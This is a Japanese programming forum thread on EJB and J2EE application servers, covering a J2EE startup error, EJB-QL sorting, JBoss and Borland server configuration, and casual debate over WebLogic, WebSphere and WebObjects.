JDKはD:\jdk1.3.0_02にインストールされています。
起動する前には下記の環境変数を設定しました。

J2EE_HOME=D:\j2sdkee1.3.1
JAVA_HOME=D:\jdk1.3.0_02
PATHにD:\j2sdkee1.3.1\binを追加
0141たすけてNGNG
> j2ee -verbose [enter]
J2EE server listen port: 1050
Naming service started:1050

Exception in thread "main" java.lang.NoSuchMethodError
at com.sun.corba.ee.internal.corba.AnyImpl.createTypeCodeForClass(AnyImpl.java:1256)
at com.sun.corba.ee.internal.iiop.ShutdownUtilDelegate.createTypeCode(ShutdownUtilDelegate.java:223)
at com.sun.corba.ee.internal.iiop.ShutdownUtilDelegate.writeAny(ShutdownUtilDelegate.java:178)
at javax.rmi.CORBA.Util.writeAny(Util.java:80)
at org.omg.stub.com.sun.enterprise.naming._SerialContextProvider_Stub.rebind(Unknown Source)
at com.sun.enterprise.naming.SerialContext.rebind(SerialContext.java:188)
at com.sun.enterprise.naming.SerialContext.rebind(SerialContext.java:202)
at javax.naming.InitialContext.rebind(InitialContext.java:370)
at com.sun.enterprise.naming.NamingManagerImpl.publishObject(NamingManagerImpl.java:192)
at com.sun.enterprise.naming.NamingManagerImpl.publishObject(NamingManagerImpl.java:149)
at com.sun.enterprise.server.J2EEServer.bindObject(J2EEServer.java:718)
at com.sun.enterprise.server.J2EEServer.createServerObject(J2EEServer.java:473)
at com.sun.enterprise.server.J2EEServer.run(J2EEServer.java:244)
at com.sun.enterprise.server.J2EEServer.main(J2EEServer.java:972)
0142デフォルトの名無しさんNGNG
CMPでORDER BYみたいに並び替えた形にしたいんだけど、
ひょっとして、自力で並び替えるしかない?
0143デフォルトの名無しさんNGNG
EJBQL
0144デフォルトの名無しさんNGNG
>>142 は [jboss-fan:0580] の人?
0145デフォルトの名無しさんNGNG
あれ? EJB-QLはSELECT、FROM、WHEREだけで、並び替えってできた?
0146デフォルトの名無しさんNGNG
>> 142

EJBQLでORDER BYがサポートされるのは、
EJB 2.1からだよ。

EJB2.1のSpec(Draftがでてるよ)読んだみたら?
0147デフォルトの名無しさんNGNG
最近使ってないんだけどちょっとは速くなった? 新しいネタない?
0148デフォルトの名無しさんNGNG
JBoss-2.4.6_Tomcat-4.0.3.zipをダウンロードしてきてlinuxに
インストールしてみたのですが、run_with_catalina.batで起動
させてもhttp://localhost:8080/jbossが404になってしまいます。
http://localhost:8080/でトップページは表示されており、またJ2eeの
サンプルプログラムも動いているので、Jboss、tomcat各々は動いているようです。
どうすれば連携できるか教えていただけないでしょうか?
0149デフォルトの名無しさんNGNG
>JBoss-2.4.6_Tomcat-4.0.3.zip

これ使ったことないんだけど(JBoss、Tomcat それぞれダウンロードして使ってる)、

>http://localhost:8080/jboss

ここには何かあるはずなの? Servlet + EJB のサンプルのページとか?
0150148NGNG
>>149さん
そうです。jbossのものの本を読んでいる限りトップページがあるはずなんです。
いろいろと調べてみたところ、run_with_catalina.shで起動時のメッセージで
[INFO,EmbeddedCatalinaServiceSX] deploy, ctxPath=, warUrl=file:/usr/local/JBoss-2.4.6_Tomcat-4.0.3/j
boss/tmp/deploy/Default/webtest.ear/web1001/
というのですが、本当はctxPath=jboss,となるようなのです。
何を変えればいいのやら・・・


0151デフォルトの名無しさんNGNG
某証券会社のサイト。
EJB(WEBLOGIC)で作成。50万行なり。
さて何人で構築したのでしょう。
EJB自体使うのは案件が大きいときのみ。
0152デフォルトの名無しさんNGNG
実働100人 一人あたま5000行
0153デフォルトの名無しさんNGNG
おらいりから今月出るらしいけど、もう並んでる本屋ある?
0154デフォルトの名無しさんNGNG
まだ売ってないと思うが。
oreilly.co.jpで予約しとけ。
0155デフォルトの名無しさんNGNG
>>151
正気とは思えない。
本当にチェックしたのだろうか?みづほの事件があったのに・・・
大体、WEBLOGICを採用したやつは、アフォです。
どっから、煽られてWEBLOGICにしたんだか。

証券会社のみづほが発生します。
0156デフォルトの名無しさんNGNG
WEBLOGIC ってダメなの?
0157デフォルトの名無しさんNGNG
>>140
J2EE_HOMEだかCLASSPATHに
%J2EE_HOME%\lib\j2ee.jar は通さなくていいんだっけ?
0158デフォルトの名無しさんNGNG
こないだJBoss使ってみたけど、デプロイとか簡単でいいね。
これでいいeclipseのプラグインがあれば、お勉強用には申し分ない感じ。
0159デフォルトの名無しさんNGNG
ツールなければEJBなんてできないだろう
日で○でコードなんかかけないね
(スクリプトならともかく)
0160デフォルトの名無しさんNGNG
なんでみずぽと WebLogic が関係すんだ?
あっちは RC の障害だろ。
0161デフォルトの名無しさんNGNG
ところで、BtoBのウェブアプリ作るときなんか、アプリケーションサーバは何がい
いと思います?当然ですが、パフォーマンスとかセキュリティとか、それなりのも
のを求められます。

WebLogic,iPlanet,WebSphere,Oracle 9i AS...

使ってみた感想とかおせえて。
0162デフォルトの名無しさんNGNG
>>161
AP鯖検討するのにB2BとかB2Cとか分けて考える理由がわからん。
両方やった経験からすると、検討すべきはもっと上のレイヤーだと思われ。
0163デフォルトの名無しさんNGNG
>>161
それだけの条件で解がでるわけねえだろ。
それなりってなんだよ(藁
0164デフォルトの名無しさんNGNG
>>156
WebLogicはWebSphereに比べればだいぶまし。
0165デフォルトの名無しさんNGNG
>>161
>>BtoBのウェブアプリ
WebServiceを使うってことでっか?
0166デフォルトの名無しさんNGNG
日で○でコードかいて
System.outでデバックしてますがなにか?
Ap鯖によっては開発ツールだめだめなのがあるんですよ
0167デフォルトの名無しさんNGNG
>>166
WeblogicとWebsphereならまずどのIDEも対応しているかと。
まぁWeblogicが硬い選択だよね・・・。Websphereは使いにくいし仕様準拠が古いから。
0168デフォルトの名無しさんNGNG
>>日で○でコードかいて
>>System.outでデバックしてますがなにか?
>>Ap鯖によっては開発ツールだめだめなのがあるんですよ
効率わるいだろ(w
JB7はいいじゃないの?APSにもかなり対応しているし
0169デフォルトの名無しさんNGNG
おまいらコーディングからアプリケーションサーバ使ってんの? 効率悪すぎ

開発・動作確認: 好きな IDE + Tomcat
実テスト・実運用: WebSphere なり WebLogic なり

EJB, MQ なんかの鯖パッケージ依存部分は置いておいて普通こうだろ。
0170デフォルトの名無しさんNGNG
xDoclet萌え
0171デフォルトの名無しさんNGNG
Cosminexusの開発環境はJB4です。
0172デフォルトの名無しさんNGNG
>169
TomcatはEJB対応してないのでは?
揚げ足ですまそ
0173デフォルトの名無しさんNGNG
>>172
TomcatはEJBコンテナないね。
動作確認とかパイロット作成とかは、JBoss+JettyまたはTomcatでいいね。
0174デフォルトの名無しさんNGNG
>>173
でも、始めっから導入するコンテナで開発したほうがよくない?
J2EE準拠とかいいつつ少しずつコンテナによって動作が違うぜよ。
エンコーデングの対応とか。
0175宇和島真紅NGNG
はじめまして、真紅です。
さて、C++か、C言語を吸っている方に相談です。
#inculude "Application"が、うまくコンパイルされずエラーになってしまいます
どうしたらいいのでしょうか?
教えてください
0176デフォルトの名無しさんNGNG
何考えてんでしょうね?(w
0177デフォルトの名無しさんNGNG
>>175
ワロタ
0178デフォルトの名無しさんNGNG
ここでは、WebSphereの評判、悪いようですが、最近、WebSphereがWebLogicより
売れていると話を聞きました。どういうことなんでしょう?
どこがよくなったの?
0179デフォルトの名無しさんNGNG
実際にウェブアプリを開発・運用している方にお聞きしたいのですが、本番
環境の
・ウェブサーバ
・サーブレットエンジン
・アプリケーションサーバ
などは、どの製品を採用してます?理由も教えてくれるとありがたいです。

0180デフォルトの名無しさんNGNG
WebSphere重い。目盛り1Gだとよ。
0181デフォルトの名無しさんNGNG
WebSphereはマジ最悪です。
重いし、バグ多い上に、マニュアルの日本語が意味不明かつ
エラーメッセージが不親切。おかげでトラブった時原因調査に
エラく時間がかかる。
これほど開発者泣かせのアプリサーバはないのでは。
っていうか、俺が泣いてるんだけどさ。
なんで売れてるのかさっぱりわからんが、いい迷惑だ。
0182デフォルトの名無しさんNGNG
♪♪♪♪イーベンチャーサポート(偽Java SI人材派遣会社)♪♪♪♪
www.evs.co.jp

社長池上は、

・ASPもダメ
 →わずか6ヶ月で撤退(結局、モノは出来なかった)

・Frameworkもダメ
 →ニュースリリースは出したが、やっぱりモノは出来ていない

・人材派遣(それも違法請負派遣)
 →バカでも立ち上げやすい、違法請負派遣業にやっと落ち着く。でももうだめぽ


の3ダメ男。これはもう、逝け神ぽ。

皆さん、こんな会社にサポートされたいですか?
ショボーン━━(´・ω・`)━━
--
■e-ベンチャサポートって、どうヨ?■
http://mentai.2ch.net/infosys/kako/1005/10056/1005659171.html
■e-ベンチャサポートって、どうヨ? Part 2■
http://science.2ch.net/test/read.cgi/infosys/1018064816/
0183デフォルトの名無しさんNGNG
IBMのサポート受けられるからでしょ。

評価と開発と試験はJBoss&JettyまたはTomcatですますよ、おいらは。
かねないし。IDEはEclipseで、ALL無料開発環境完成です。
0184デフォルトの名無しさんNGNG
SunのJ2EE SDKでやってる人はいないの?
0185デフォルトの名無しさんNGNG
JBoss&Tomcatで開発するとき、IDE何使ってますか?

インタフェース定義とか、DD書くのとか、CMPマッピングとか。
手書きするの、かったるいですよね。
0186デフォルトの名無しさんNGNG
>>185
EclipseにLombozプラグインを入れてみれ。EJBWizardとか便利だぞ。
JBoss3.0にも対応したYO
0187185NGNG
>>186
使ってみた。結構イイカンジ。
EJB周りはまだ触ってないけど、裏でEJBDoclet使ってるんだね。
JSPのコンパイルと、デプロイができるだけでも、かなりいいですね。
0188デフォルトの名無しさんNGNG
使うメリットないだろ
EJBて(大規模以外は
0189デフォルトの名無しさんNGNG
>>188
いや、逆によほど小規模でもない限り選択肢として
EJBを考慮すべき時期になってきたんじゃないかな。
0190デフォルトの名無しさんNGNG
大規模とか小規模とか曖昧な表現だな。規模って何YO
0191デフォルトの名無しさんNGNG
>>188
同意。
>>189
そのこころは?よほど大規模なシステム以外では
牛刀を以て鶏を割く、の例え通りだと思うが?
0192デフォルトの名無しさんNGNG
EJB2.1のEJB QL追加仕様

・ORDER BY句の追加
・SELECT句の関数の追加:AVG, COUNT, MAX, MIN, SUM
・WHERE句の関数の追加:MOD

http://www.theserverside.com/resources/article.jsp?l=MonsonHaefel-Column1
0193デフォルトの名無しさんNGNG
CMPで管理する予定のDB設計をしているんだけど、
フィールド名日本語はダメぽ?
0194デフォルトの名無しさんNGNG
>>193
ejb-jar.xmlでのフィールド名と実DBのフィールド名との
マッピングはベンダー依存だとおもうんだが。
(たとえばJBossならjboss.xmlにマッピングを指定できる。)
つまりアプリケーションサーバを明記しないと、知ってる
人でも答えようがない罠。
0195デフォルトの名無しさんNGNG
>>194
Weblogic6.1です。
jboss3も知りたい・・・。
0196194NGNG
>>195
ちょっとJBoss+MySQLでやってみたんだけど、できなかった。
(俺なら日本語カラム名で悩むより、素直に英字を使うが。)

WebLogicの設定はここら辺に書いてある。
http://edocs.beasys.co.jp/e-docs/wls61/ejb/EJB_reference.html
とっくに参照してるかも知れないけど、一応貼っとく。
日本語フィールドの記述はないけど、CMPで使うDB設計なら必読だと思う。

# あと>>194の修正。jboss.xml→jbosscmp-jdbc.xml
0197デフォルトの名無しさんNGNG
EJB専用スレッドがあるってきずかなかったので、こちらに書きます。

EJBではThread操作は禁止されていますが、
非同期駆動をしたいときは、

1. JMSでメッセージをおくる(その後は、Message-Driven Beanで処理)

くらいしか、方法はないでしょうか?

EJB2.1 では、Timer Service が使えるのですが...。
現状のJ2EE1.2 or 1.3 では他に方法はない?

この需要は多いと思うのだけど。
0198デフォルトの名無しさんNGNG
>>197
JMS Client --> JM SServer --> EJB Container <--> MDB
にこだわる必要はなく、
JMS Client --> JM SServer --> JMS Client <--> 各種EJB
でいいんじゃない?
0199デフォルトの名無しさんNGNG
Timer Serviceって何だべ?
0200デフォルトの名無しさんNGNG
>> 199
EJB2.1 Spec
ttp://java.sun.com/products/ejb/docs.html
のChapter22 だよ。
詳しくはよんでください。
(まとめる力は俺にはない。)

ようは、「時間がきたら、このメソッドよんでね。」ってコンテナに登録しておけること。
0201デフォルトの名無しさんNGNG
EJB使ってるところって,EntityBeanもつかってるのが多い?
それともSessionBeanでそこから通常のSQLでDBアクセスするほうが多い?

EntityBeanはシステム設計の概念からER図やDFDという考え方から
変えないといかん気がするし,なんとなく使い勝手悪そう
0202デフォルトの名無しさんNGNG
EJBってなんでしょうか?
おせーてくだせいませ
0203デフォルトの名無しさんNGNG
google にでもどうぞ。
0204デフォルトの名無しさんNGNG
EJBってなんでせうか?
おしえてくださいませ。
0205デフォルトの名無しさんNGNG
>>199
The EJB timer service is a container-provided service that allows
the Bean Provider to register enterprise beans for timer callbacks
to occur after at a specified time, after a specified elapsed time,
or at specified intervals.
0206デフォルトの名無しさんNGNG
>>201
あくまで個人的な意見と断っておくが、
EntityBeanは正直おすすめできない。
環境設定トラブルや、パフォーマンスの問題で苦労することが多い割には
導入するメリットは少ない。
SessionBeanだけ使っても、トランザクションの自動化はできるから、
それでじゅうぶんだと思う。
0207デフォルトの名無しさんNGNG
EJB 板に書くべきことではないかもしれないですが、
session bean + SQL で書いていると、
将来負荷分散するつもりでなければ
(逆に言えば、負荷見込みができるのであれば)
servlet + EJB + sql ではなくて、
servlet + sql で十分のような気がします。
その辺どうですか?
0208デフォルトの名無しさんNGNG
>>207
EJB板ってどこなの?
0209デフォルトの名無しさんNGNG
>>208
板とスレの間違いじゃねーの?

>>207
好きなようにしたら良いんじゃねーの?
0210デフォルトの名無しさんNGNG
>>207
はい、そのとおりです
0211デフォルトの名無しさんNGNG
EJB本、高すぎ
0212デフォルトの名無しさんNGNG
EJB 板というか、ここの EJB(初心者歓迎) です。
208 さん、209 さん、210 さん ご意見ありがとうございます。

今回仕様とか見ていないんですが、
最後作るものを想像してみると
今までと何が違うのかよくわかんなくなりまして。
EJB を使うと何が違うのかなぁ、とおもったのです。
ありがとうございました。

0213デフォルトの名無しさんNGNG
>>212
EJBを使うと、分散システムになるのが最大の違いじゃないの。
ServletとEJBを必ず同じマシンで動かすなら、ほとんど意味は
ないんじゃない。
まあ、トランザクション管理が楽になるというのはあるけど。

0214デフォルトの名無しさんNGNG
しかし、EJB使ってシステム構築すると、なんであんなに重いの?
いくら漏れが厨だからっつっても、重すぎるなぁ。。。
0215デフォルトの名無しさんNGNG
EJBのメリットは、開発者が本来気にしなければならない基盤的な部分を
隠蔽してくれる(または外部パラメータ化してコードレスで制御できるようにする)
ことじゃないかな?
XA分散トランザクション制御もそうだし、インスタンスのライフサイクル管理や
プーリングなんかも楽でしょ?

例えばStatelessなEnterprise Beanなんかに対して、最初は
「デフォルト時は常に3インスタンス生成しておいて、ピーク時にも最大500インスタンス
までしか生成させないようにしよう」とかやっておいて、
将来的に「あ、やっぱデフォルト10の最大800にしよう」とかしようとした時に、
パラメータをいじるだけで簡単に変更できるし。

これが普通のBeanだったりするとわざわざSingletonパターンで自前でこういった
仕組みを用意しなければならない。

0216デフォルトの名無しさんNGNG
>>215

全然楽じゃないよ。
書かなきゃならないコードが多すぎる。アプリ全体での見通しは悪いし。
そもそも、開発者が分散トランザクション制御とか、インスタンスのライフサイクル管理とか
コネクションプーリングとか、SQL文ガリガリとか、セッション管理とか、負荷分散とか
考えなきゃいけないのが鬱。
WebシステムでJSP使うと、デザイナとの共同作業がめんどくさい。
ロジック組み上げた状態でJSPテンプレート側の仕様変更とかあると、大変だし。。。

とりあえず、今もWinのJava2環境でWebシステム開発してるけど、そういう面倒な
部分からはほとんど逃れられたので楽。
0217 NGNG
おれの場合、今はもうEJBの分散はオプション的に捉えているな。
0218215NGNG
>>216

書かなきゃいけないコードって、別に普通にJavaBeansで書くのとほとんど
変わらないと思うんだけど。JavaBeansからEJBへの移行ってやったことある?
どっちでもビジネスロジックに専念するだけで済んだよ?

RemoteやHomeのことをいってるのかな?
EJBの基本的な「お約束」の部分は普通ウィザード任せでしょ?
これはJ2EEに限らず他のアーキテクチャでもそうだし。

> 開発者が分散トランザクション制御とか、インスタンスのライフサイクル管理とか
> コネクションプーリングとか、SQL文ガリガリとか、セッション管理とか、負荷分散とか
> 考えなきゃいけないのが鬱。

これはむしろ基盤チームの人たちやデプロイヤといった、ごく小数の精鋭部隊が
DD作る時に考えればいいだけのことじゃないかな?(SQL除く)
開発者は上記の技術についてコードに一切記述する必要がないよね?意識する必要さえない。
開発者はロジックのみに専念できるはず。

小数の精鋭部隊(=基盤を作る側)が苦しむ代わりに、大多数のプログラマがその土台に乗って、
ごく単純なロジックだけを力技でガリガリ作っていけるのがコンポーネント指向のいいところだと思う。

0219デフォルトの名無しさんNGNG
>>218
ごめん、煽った俺が悪かった。
EJBで頑張ってくれ。俺はもうEJBなんか面倒でやってられない。
他に新天地を見つけたから。
0220デフォルトの名無しさんNGNG
>>219
どんな新天地?
0221デフォルトの名無しさんNGNG
>>220
厨が使う環境だよ。言うほどのものでもないよ。ガンガッテクレ
とりあえず、残業もなく飲みにも逝けてる。
それだけで十分だ。
0222215NGNG
うん分かった。でも実は俺EJBを業務で使ったことないんだな、これが。
実は.NET+C#(煽りじゃなくてこれマジ)

Windows系でCOM+やら.NET Assemblyやってると、EJBが使えるのに
使わないのがすっげーもったいなく思えるんだよね。

0223デフォルトの名無しさんNGNG
>.222
うーんと、そっちが教えてくれたから、こちらも恥ずかしながら告白するよ。
アップルのWebObjectsってやつ。
アップル製品だけど、開発はWindowsでもできる。運用は、Java2環境なら、OS選ばず。
Enterprise Object Frameworkっていうフレームワークがあって、DB周りの面倒なことは
全部面倒見てくれる。

世間の評判は、マカ専用Webオーサリングソフトって感じなのかな?
まぁ、マイナー製品だし、なんでもいいけど。
周りから何を言われようと、客に満足してもらえて自分が楽できれば、
それでいいやって感じ。
以前は、WebLogicだったんだけど、いろいろと大変だったから、
それに比べれば天国と地獄。

環境は違うけど、お互いガンガロウぜ。
0224デフォルトの名無しさんNGNG
> 開発者が分散トランザクション制御とか、インスタンスのライフサイクル管理とか
> コネクションプーリングとか、SQL文ガリガリとか、セッション管理とか、負荷分散とか
> 考えなきゃいけないのが鬱。
てか、それを考えないでシステム作るほうが怖いんじゃない?
仕組みさえ知ってれば、設定するだけで動くコンテナがあるのがいいと思うんだけど。
まぁいろいろ前提知識が要るという時点で、プロの環境だよね。
その分、労力をかけずに高度なことができるってわけで。
絵を書くときにMSのペイントで満足するか、AdobeのIllustratorを使いたいと思うかどうかだね。

>以前は、WebLogicだったんだけど、いろいろと大変だったから、
>それに比べれば天国と地獄。
そういう状況はよく分かる。
EJB使うには、分析や設計もプロでないと苦労するし。
ただ、慣れるとEJBも楽だよ。
WebSphereもWSADなんかできて便利になったし。(重いのには閉口するが)

>Windows系でCOM+やら.NET Assemblyやってると、EJBが使えるのに
>使わないのがすっげーもったいなく思えるんだよね。
MS環境でずっとやってきた人も、そういう風に思うんだ〜。
やっぱ、分かってる人はちがうね。
.NETもいいけど、あのアーキテクチャじゃスケーラビリティや信頼性はないしね...
なんでもSOAPに頼るのはいいけど、SOAPだけでトランザクション保証できるのかなぁ。
0225デフォルトの名無しさんNGNG
仕事をしてるやつは、煽っても最後はすがすがしいな。
0226デフォルトの名無しさんNGNG
そもそも分散システムをつくるのに、「ネットワーク越しの
問い合わせには強烈なコストが掛かる」という程度のことも
理解できていないアホが関わる最近の風潮は、どうにかして
欲しいもんだ。
0227デフォルトの名無しさんNGNG
>てか、それを考えないでシステム作るほうが怖いんじゃない?
>仕組みさえ知ってれば、設定するだけで動くコンテナがあるのがいいと思うんだけど。
>まぁいろいろ前提知識が要るという時点で、プロの環境だよね。
>その分、労力をかけずに高度なことができるってわけで。
>絵を書くときにMSのペイントで満足するか、AdobeのIllustratorを使いたいと思うかどうかだね。

同意。俺はWebObjectsだけど、元々NEXT製品だし(^^;)、クセの強い独自framework使うから、
OOP/Java/RDBMS/SQL/HTTP/HTML等々の知識は必須。カスタムSQL使えるけど、
ほとんどその必要性が無いような案件ばっかり・・・(^^;

DBからの情報を、Webインターフェースに接続する作業なんかはマウス操作(笑)なんだけど、
とはいえ、「なぜこういう構造になっているのか」ってところを理解すべきなのは他環境と変わらず。
マイナー製品だから情報量も少なくサポートも不安。
そういう点では、WebLogic/WebSphere/.NETあたりのほうが、遙かにアドバンテージ高いかも。
ただWebObjectsは、開発環境と、アプリケーション鯖としては、同時アクセス数無制限ライセンスの
運用環境が同梱されてて¥7万で買えちゃうから、客にも提案しやすいよ。
Webベースの運用ツールも付いてるし、負荷分散とかも楽。
もし機会があれば、さわってみてほしいな。スキルがある人間だったら、どんなものか
だいたい判ると思うから。
ちなみにJ2EE対応で、EJBコンテナとしても使える。Servlet/JSPにも対応。

>EJB使うには、分析や設計もプロでないと苦労するし。
>ただ、慣れるとEJBも楽だよ。
>WebSphereもWSADなんかできて便利になったし。(重いのには閉口するが)

分析・設計が必要なのは、どんなツールを使っても同じだろうね。
道具だからね。「まず顧客の要求ありき」、でやらないと、だれも幸せになれないし。
WSADといえば、Eclipseで最近遊んでるんだけど、あれはいいね。
確かに重いけど、JBuilderとかTCC程じゃないし。プラグインが豊富なのが素晴らしい。
特に最近は、Eclipse-UMLとかいうプラグインで遊んでるよ。
EclipseをWebObjectsの開発環境にするプラグインもあるみたいなので、
これも評価してみるつもり。
0228デフォルトの名無しさんNGNG
WebObjectsは詳しくは知らないのですが、JBuilderのようなIDEとの統合
という道はあるのでしょうか? WebObjectsというのは、開発環境と運用環境
とを合わせ持っている? (?_?)
0229デフォルトの名無しさんNGNG
>>228
WebObjectsは、
 1. Webアプリの統合開発環境 :WebObjects Developer
 2. Webアプリの運用環境   :WebObjects Deplotment
の2つが、1つのパッケージに入ってて、¥7万ちょっと。
2年前くらいまでは、全く同じ製品構成が、100倍の\700万だったの。
ある時期に、一気にタダみたいな値下げを行ったんだけどね。
開発環境は、Windows2000(XPも多分OK)と、MacOSX。
運用環境は、Java2VMがあれば、なんでもOK。
対応DBは、基本的にJDBC2.0ドライバがあるものならほぼ何でもOK。

日本だと超無名だけど、アプリケーション鯖としては、多分業界初だった。
アプリからDBにアクセスするためのフレームワークは、10年以上の歴史があって、
元々は金融系でOpenStepとかと一緒に使われてたらしい。

IDEとしては、一般的なコーディング用のIDEと、
Webインターフェースのデザインツールと、
RDBのテーブル構造をJavaオブジェクトにモデリングをするツールが主。
運用環境は、単に1鯖あたり同時接続数無制限のライセンス付き。
CPU1個につきいくら、とかいうライセンスじゃないから、零細には有り難い。

IDEだけでも、50トランザクション/分の運用環境が付いてるから、
開発→ビルド→実行テストが、楽にできる。

元々、実績のあるフレームワークが、Web用・DB用で用意されてるんだけど、
最新バージョンでは、J2EE準拠で、EJB/Servletコンテナとしても使える。
漏れは使ったこと無いけど。

興味あるなら、http://www.apple.co.jp/webobjects/ あたりで見てみれ。
0230デフォルトの名無しさんNGNG
なんか、スレ違いみたいでスマソ。もうちょっとだけ。
WebObjectsがどんなものか、詳しい情報が、
http://www.apple.co.jp/webobjects/wo_docs_j.html
に、PDFで用意されてる。

漏れは元々アップル&マク嫌いなんだけど、WebObjectsだけは唯一例外で認めてるよ。
0231デフォルトの名無しさんNGNG
>>226
>そもそも分散システムをつくるのに、「ネットワーク越しの

PS3は次世代ネットワークだと煽りまくってますけど
実現するのかねぇ...
0232デフォルトの名無しさんNGNG
JbuilderEnとの違いは?
0233デフォルトの名無しさんNGNG
俺はEJBっていうか、J2EEそのものの未来にかなり悲観的なんだが。
J2EE導入したことで、実際に幸せになっていることってあるのか?
J2EEで運用されているサイトはことごとく重いような気がするし。
Amazonとか、IBMとか。
0234デフォルトの名無しさんNGNG
>>232
なにと比較してるの?
0235デフォルトの名無しさんNGNG
>>233
おまえEJBの仕様とか何も知らないで発言してるだろ(藁)
0236デフォルトの名無しさんNGNG
重いことと、J2EE仕様は、直接リンクしねぇな(w
そもそもこのスレに、J2EE自体はリファレンスでしかないってことを
知ってるやつってどのくらいいるんだ?
0237デフォルトの名無しさんNGNG
232>>WebObjectsと
JBでもできるんだけど
0238233NGNG
>>235
いや、知らないも何も、プロジェクトで使ってから
三年くらいになりますが・・・

>>236
J2EE仕様が最初に発表されてから5年くらいたちますが、
どのアプリケーションサーバベンダーも、いつまでたっても
パフォーマンス面の不安を解消できていません。
そのことについてどう思います?
特に、EJBのCMPは仕様自体に無理があると感じることはありませんか?
0239デフォルトの名無しさんNGNG
>EJBのCMPは

どの辺に無理があると思うの?
0240233NGNG
>>239
データベースのテーブルとのマッピングです。
テーブルのJoinをうまく表現できてないように思えます。
結局、1テーブルに単純に一行挿入したり、更新したりするのは
簡単にできますし、パフォーマンス的にも悪くないのですが、
複雑な構造をもったテーブルの検索にはうまく対処できません。

0241デフォルトの名無しさんNGNG
>>237
JBuilder Enterpriseと、WebObjectsを比べてるのか。
開発効率と実用的な運用まで考えたらJBは、WOに遙かに及ばないよ。
知名度と技術者確保に関しては、WOはJBに遙かに及ばないけど(w
0242デフォルトの名無しさんNGNG
>218
うちのプロジェクトがまさにそう。
開発やってる人間にDDのここの設定
直してください。
って言っても、ハァ?って答え。

その辺も面倒見れるだけの、人数が
基幹チームにいればいいだが、
どうしても手が足りないところとか、
力作業は開発にお願いすることになり、
結局なにもわかってない人相手にするのは
疲れるわけで。
嫁とはまだやってないわけで。
0243デフォルトの名無しさんNGNG
>>240
なんでもかんでも、
・複雑なテーブル構造
・SQL文
で解決しようと考えていることが間違い。
0244デフォルトの名無しさんNGNG
>>243
だからといって、EJBが最適とは言い切れないだろうけどな。
0245デフォルトの名無しさんNGNG
WebObjectsそんなにいいのか
WIN版ないの
0246デフォルトの名無しさんNGNG
Winでも使える
0247デフォルトの名無しさんNGNG
>>240
更新系はCMP-EB、参照系はSLSBからDAOコールというのが、
EJBの定石らしいぞ。まあ、通信に伴うネゴシエーションが
時間コストの大部分だということが分かっていれば、そう
するのが当たり前だという結論には当然達するはずだが・・・

なんで、そうしないヤツラがおおいんだろうね?
0248247NGNG
>>240

あと、EJB2.0のCMP仕様は、RDBのOuterJoinをCMPで表現
するらしいぞ。試してみたら?
0249デフォルトの名無しさんNGNG
みんな、EJBを開発する時の、開発者ローカルPC上での稼動確認はどうしてる?
EJBコンテナ環境とか、呼び出す為のクライアントとか。

やっぱJ2EE RIだのJBossだのフリーで軽いAPサーバを各開発PCに入れてそこでデプロイして、
わざわざドライバ作ってそこからアクセス?

0250デフォルトの名無しさんNGNG
>>248
この前のJavaOneで、そのあたりの話があってたね。
(結局良くわからんかったけど。)
0251デフォルトの名無しさんNGNG
>>249
そーだす。
0252デフォルトの名無しさんNGNG
>>249
私は JBuilder Ent版 を使っているので、付属のBorland Enterprise Server
をJBuilderIDE内から起動しています。
0253デフォルトの名無しさんNGNG
>>247
OptionAというものもあるようですね
http://bdn.borland.com/article/0,1410,29074,00.html
http://bdn.borland.com/article/images/29074/transaction_commit_options.pdf
0254デフォルトの名無しさんNGNG
質問があるのですが。

BorlandEnterpriseServerで、WebserviceパーティションにWebServiceを配布して
StandardパーティションにEJBのjarを配布させて、WebServiceからEJBを呼ぶ際に
Log4j.propertiesが見つからないってなExceptionが発生するんですが。
あと、CORBAのBAD_PARAMってなExceptionも。

すげー困ってるんでわかる方、教えてください。
BESの設定の問題?
とりあえずwarに、必要なライブラリは含めて配布してます。

0255デフォルトの名無しさんNGNG
>>254
C:\BorlandEnterpriseServer\var\servers\yourhost\adm\properties\partitions\standard\partition.properties
に、container.auto.expand.wars=true という行を追加しましょう。
webservicesパーティションにはこの行が追加されていることに注目しましょう。

この行があると、
C:\BorlandEnterpriseServer\var\servers\yourhost\partitions\standard\tmp
に、展開用のディレクトリが作成されます。

あと、
http://info.borland.com/devsupport/bes/faq/5.0/webfacilities/web_container.html#no_cgi
にも、目を通してください。
0256デフォルトの名無しさんNGNG
>>254
「CORBAのBAD_PARAMってなException」は、何が例外が出るようなことを
しているのでは?
0257デフォルトの名無しさんNGNG
>>254
ちと勘違いしました。
Log4j.propertiesが見つからないというのは、ApacheAXISの設定の問題ですね。
ApacheAXISのマニュアルなどを参考にしてください。
0258デフォルトの名無しさんNGNG
>>255-257
貴重なアドバイスありがとうございます!

warを解凍して実行するプロパティはTrueを指定したつもりだったのですが
もう一度確認してみます。

CORBAのExceptionの方がよくわからないのですが、EJBもWebServiceの
クラスもSerializableインターフェースを実装させているのですが、
そーいうたぐいのエラーなのでしょうか?

ちなみにJBuilder上でTomcatを起動している場合はEJBの呼び出しも、すべて
うまくいっています。

Log4jの件も、Axisのマニュアルを確認してみます。

ありがとうございます!
0259デフォルトの名無しさんNGNG
>>258
Log4j.properties の件は、AXISのライブラリをwarに含めるのではなく、
パーティションのlibディレクトリに置いたほうが良いかもしれません。

また、CORBAのException の件は、パーティションのクラスローダの設定
が関係しているかもしれません。
http://info.borland.com/devsupport/bes/faq/5.0/webfacilities/web_container.html#classcast
が参考になるかも。
0260デフォルトの名無しさんNGNG
>>259
問題の件は無事に解決させてきました。
非常に参考になり助かりました。

ありがとうございました!
0261デフォルトの名無しさんNGNG
google にでもどうぞ。
0262デフォルトの名無しさんNGNG
DD書く時に出てくるJNDI名とかJNDI名の参照って何ですか?ejb/xxxxxって書かせるヤツ。
あれ登録すると何がどうなるの?今は参考書の言われるままになんとなく書いているんだけど。
あれ書くとコードの中で"ejb/xxxxxx"とか直打ちしてるのが必要なくなるとか?
0263デフォルトの名無しさんNGNG
>>262
> DD書く時に出てくるJNDI名とかJNDI名の参照って何ですか?
EJBを(名前を付けて)登録してるの。

> コードの中で"ejb/xxxxxx"とか直打ちしてるのが必要なくなる

なくならないよ。その名前で呼びだせるようになるだけ。つうか、その
直打ちは、client側のコードでしょ。
0264デフォルトの名無しさんNGNG
>>262
コードの中に直打ちしたJNDI名がそのまま使われると、
あとでJNDI名の変更がやりにくいから、DDでマッピングする
仕組みが導入されたんだと思われ。
0265264NGNG
あれ?EJB参照の話をしているのかと思ってたけど勘違いだったか?
0266263NGNG
>>265
漏れが勘違いしたかも。。。
0267262NGNG
どもです。
